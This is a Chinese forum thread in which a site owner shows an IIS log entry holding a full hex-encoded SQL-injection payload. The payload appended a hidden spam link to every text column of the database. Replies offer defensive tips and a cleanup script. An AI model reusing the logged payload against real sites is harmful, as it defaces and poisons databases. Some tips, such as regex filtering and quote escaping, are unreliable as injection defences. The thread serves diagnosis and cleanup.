首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 数据库 > SQL Server >

SQL被流入恶意病毒代码

2013-01-20 
SQL被注入恶意病毒代码数据库所有字符型字段都被注入以下/titlestyle.adkk{position:absoluteclip:re

SQL被注入恶意病毒代码
数据库所有字符型字段都被注入以下
</title><style>.adkk{position:absolute;clip:rect(451px,auto,auto,451px);}</style>


查iis日志发现的攻击sql代码
2012-12-17 11:10:58 W3SVC705530920 218.1.111.48 GET /default.aspx ID=26CE75CD-2E1A-47B9-8454-B7267E4E060F1'+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e61646b6b7b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834353170782c6175746f2c6175746f2c3435317078293b7d3c2f7374796c653e3c64697620636c6173733d61646b6b3e3c6120687265663d687474703a2f2f3131366a75726973742e7275203ee0e4e2eeeae0f22defee2de6e8ebe8f9edfbec2de2eeeff0eef1e0ec3c2f613e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)-- 80 - 109.230.251.12 Mozilla/5.0+(Windows;+U;+Windows+NT+5.2;+en-US)+AppleWebKit/534.17+(KHTML,+like+Gecko)+Chrome/11.0.652.0+Safari/534.17 200 0 0

我这个页面就是根据id获取一些数据而已,id就是我方法的CategoryID 
  Public Function GetCategoryData(ByVal BrandID As Integer, ByVal CategoryID As Guid, ByVal sLC As String, ByVal sCatMode As String) As DataTable
            'Dim drResult As DataRow = Nothing
            Dim dt As DataTable = Nothing
            Using cmd As New SqlCommand()
                cmd.CommandType = CommandType.Text
                cmd.CommandText = "Select * From CTCategory Where BrandID = @BrandID And LC= @sLC"

                Select Case sCatMode
                    Case "Main"
                        cmd.CommandText = cmd.CommandText & " And CategoryID=@CategoryID "
                    Case "Sub"
                        cmd.CommandText = cmd.CommandText & " And ParentID=@CategoryID "


                    Case Else
                        Dim e As New Exception
                        e.Message.Insert(0, "sCatMode參數值錯誤")
                        Throw e
                End Select
                cmd.CommandText = cmd.CommandText & "ORDER BY OrderNum "
                cmd.Parameters.Add("@BrandID", SqlDbType.Int).Value = BrandID
                cmd.Parameters.Add("@CategoryID", SqlDbType.UniqueIdentifier).Value = CategoryID
                cmd.Parameters.Add("@sLC", SqlDbType.Char).Value = sLC

                Using ds As New DataSet()
                    If objSql.ExecQuery(cmd, ds) > 0 Then
                        dt = ds.Tables(0)
                    End If
                End Using
            End Using
            Return dt
        End Function


既然用了@参数,怎么还能注入?请赐教!
[解决办法]
把关不严.居然能让人把那么长的语句写到你的程序里去,无语.
[解决办法]
早听说 参数不是完全安全的,今日终于见到了
既然你的主键是 GUID 为啥操作的时候不尝试转换一下,可以转换的话可以放心使用,不可以的 随便转到一个默认页面或出错页面

还有对VB不是很熟,ExecQuery这个方法不甚了解,

是在.NET上吗?是的话,用ADO.NET试试

[解决办法]
这样传递会报错?
有没有先 把+转换为空格?

如果明确是guid,使用前最好判断一下字符串长度
[解决办法]
一般从客户端页面传过来的值,我都会尝试转换,转换不成功的给个默认值,
而字符串的 就更简单了 直接过滤'为'',没有注释符,啥关键字都是字符串

其它你传参数的时候 ,可以设置长度

你那个 执行 是自己写的吗

到后面 有没有代进存储过程或 再动态执行 什么的

[解决办法]
哎,只能来清理一下了。现在我做程序里面都会用正则把sql过滤一下。
这个被注入的网站是给别人维护的,里面貌似没做过滤操作。。。
[解决办法]

引用:
数据库所有字符型字段都被注入以下
</title><style>.adkk{position:absolute;clip:rect(451px,auto,auto,451px);}</style>


查iis日志发现的攻击sql代码


2012-12-17 11:10:58 W3SVC705530920 218.1.111.48 GET /default.asp……



一直都是看到理论上说的,第一次看见实际执行中的注入。
一定要严格检查用户的@输入...

如果可以还是考虑使用静态代码来的放心些。 

[解决办法]
declare @delStr nvarchar(500)
   
set @delStr = '</t' --清除的字符

set nocount on 

declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
   
declare @sql nvarchar(500) 

set @iResult=0   

declare cur cursor for select name,id from sysobjects where xtype= 'U ' 

open   cur   

fetch next   from   cur   into   @tableName,@tbID while @@fetch_status=0   

begin 

declare   cur1   cursor   for   
                --xtype   in   (231,167,239,175,35)   为char,varchar,nchar,nvarchar,text类型   
                select   name   from   syscolumns   where   xtype in (231,167,239,175,35) and id=@tbID   
open   cur1   

fetch   next   from   cur1   into   @columnName while @@fetch_status=0

begin   
            set   @sql='update ['+@tableName+'] set ['+@columnName+']=replace(cast(['+@columnName+'] as varchar(8000)),'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''   
            exec   sp_executesql   @sql             
            set   @iRow=@@rowcount   
            set   @iResult=@iResult+@iRow   
            if   @iRow> 0   
            begin 
    print '表:'+@tableName+',列: '+@columnName+ '被更新'+convert(varchar(10),@iRow)+ '条记录;'   
            end             
            fetch   next   from   cur1   into   @columnName 
end   
close   cur1   
deallocate   cur1   
fetch   next   from   cur   into   @tableName,@tbID   
end   
print   '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' 
close   cur   


deallocate   cur   
set   nocount   off

go


暂时用这个应付......找到问题联系一下QQ 178181288 一起解决

热点排行